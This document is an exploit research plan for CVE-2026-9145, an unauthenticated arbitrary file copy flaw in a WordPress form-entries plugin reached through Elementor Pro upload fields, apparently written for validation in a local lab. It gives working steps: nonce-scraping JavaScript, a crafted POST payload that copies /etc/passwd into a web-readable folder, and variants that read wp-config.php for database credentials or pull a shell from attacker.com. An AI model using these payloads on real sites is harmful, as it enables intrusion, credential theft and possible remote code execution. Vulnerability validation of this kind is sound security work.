Database for Contact Form 7, WPforms, Elementor forms <= 1.5.1 - Unauthenticated Arbitrary File Copy/Upload via Elementor Pro Form Upload Field 'raw_value'

This research plan provides a technical roadmap for exploring and validating CVE-2026-9145.

1. Vulnerability Summary

The "Database for Contact Form 7, WPforms, Elementor forms" plugin (v1.5.1 and below) contains a path traversal vulnerability in its Elementor Pro integration. When a form is submitted, the plugin's create_entry_el() function hooks into elementor_pro/forms/new_record. For form fields of type "upload," the plugin attempts to move or copy the uploaded file to its own storage directory.

The vulnerability exists because the code fails to verify if the file path provided in the Elementor Pro Form_Record object actually corresponds to a file uploaded via $_FILES. If an attacker submits a standard POST parameter (string) for the file upload field instead of a multipart file upload, the plugin treats the attacker-controlled string as a source path for the PHP copy() function. Since copy() supports local file paths and URLs, an unauthenticated attacker can disclose sensitive local files or perform a limited form of SSRF.

2. Attack Vector Analysis

• Entry Point: Public-facing Elementor Pro form submission.
• Hook: elementor_pro/forms/new_record (registered in setup_main()).
• Vulnerable Function: vxcf_form::create_entry_el().
• Vulnerable Sink: copy($source, $destination).
• Required Parameter: The name/ID of an "upload" type field in an Elementor Pro form.
• Authentication: Unauthenticated (default for most public forms).
• Preconditions:
  1. Elementor Pro must be installed and active.
  2. An Elementor Pro form with at least one "File Upload" field must exist on a public page.

3. Code Flow

1. Request: An attacker sends a POST request to a page containing an Elementor Pro form.
2. Trigger: Elementor Pro processes the form and triggers the elementor_pro/forms/new_record hook.
3. Plugin Execution: vxcf_form::create_entry_el($record, $handler) is called.
4. Field Processing: The function iterates through form fields. For "upload" fields, it retrieves the value using $record->get_field_data($field_id).
5. Logic Failure: The code checks for the presence of a file. If no actual file is in $_FILES, it mistakenly uses the raw_value (the POST string) from the $record object as the $source for copy().
6. File Copy: copy($source, $destination) is executed where $source is an arbitrary path like /etc/passwd.
7. Storage: The file is copied into wp-content/uploads/crm_perks_uploads/[hashed_subdir]/[filename].

4. Nonce Acquisition Strategy

Elementor Pro forms are protected by a frontend nonce. To trigger the new_record hook successfully, the exploit must include the correct form ID and the nonce generated for that form.

1. Identify Target Page: Find a page using an Elementor Pro form (e.g., /contact/).
2. Navigate: Use browser_navigate("http://localhost:8080/contact/").
3. Extract Form Data: Use browser_eval to extract the necessary hidden fields.

   const form = document.querySelector('form.elementor-form');
   const data = {
       post_id: form.querySelector('input[name="post_id"]').value,
       form_id: form.querySelector('input[name="form_id"]').value,
       nonce: form.querySelector('input[name="_nonce"]').value,
       upload_field_name: form.querySelector('input[type="file"]').name
   };
   data;
   

4. Note: The upload_field_name is typically something like form_fields[field_id].

5. Exploitation Strategy

The goal is to copy /etc/passwd to a web-accessible directory managed by the plugin and then retrieve it.

Step 1: Discover Upload Field ID
Identify the specific parameter name for the file upload field from the HTML source (e.g., form_fields[6bc217a]).

Step 2: Send Exploit Payload
Construct a POST request that mimics a form submission but provides the target file path as a string.

• URL: http://localhost:8080/wp-admin/admin-ajax.php (Note: Elementor forms often submit to the current page URL or admin-ajax.php; check the action attribute of the form).
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: elementor_pro_forms_send_form
  • post_id: [EXTRACTED_POST_ID]
  • form_id: [EXTRACTED_FORM_ID]
  • _nonce: [EXTRACTED_NONCE]
  • form_fields[FIELD_ID]: /etc/passwd (The Payload)

Step 3: Identify the Destination Path
The plugin generates a random directory for each submission using uniqid() + rand(). Since we cannot guess this, we must check the database to see where the entry was saved.

6. Test Data Setup

1. Install Plugins: Ensure contact-form-entries (v1.5.1) and elementor-pro are active.
2. Create Form:
   • Create a new page.
   • Add an Elementor "Form" widget.
   • Add a field: Type = "File Upload", Label = "Document".
   • Publish the page.
3. Confirm Path: Ensure the wp-content/uploads/crm_perks_uploads/ directory is writable by the web server.

7. Expected Results

• The copy() function will execute, reading /etc/passwd.
• A new directory will be created under wp-content/uploads/crm_perks_uploads/.
• The contents of /etc/passwd will be saved inside that directory with the name passwd.
• The plugin will create a record in its database table representing this "submission."

8. Verification Steps (Post-Exploit)

Since the destination directory is hashed, use WP-CLI to retrieve the file path from the database:

1. Check Entries:

   # List the most recent submission to find the file link
   wp db query "SELECT * FROM \$(wp db prefix --allow-root)vxcf_leads ORDER BY id DESC LIMIT 1;" --allow-root
   

2. Extract URL: Look for the field containing the file path/URL in the query results.
3. Verify File Content:

   # Assuming the DB shows the file was saved to 'crm_perks_uploads/65a.../passwd'
   cat /var/www/html/wp-content/uploads/crm_perks_uploads/[HASHED_DIR]/passwd
   

9. Alternative Approaches

• Remote File Inclusion (RFI) style Copy: Instead of /etc/passwd, supply a URL: http://attacker.com/shell.txt. PHP's copy() will fetch the remote URL and save it to the server. If the server allows executing PHP in the uploads directory (rare in modern WP), this could lead to RCE.
• LFI / Disclosure: Target wp-config.php to extract database credentials.
  • Payload: form_fields[FIELD_ID]=../../../wp-config.php (relative path) or the absolute path /var/www/html/wp-config.php.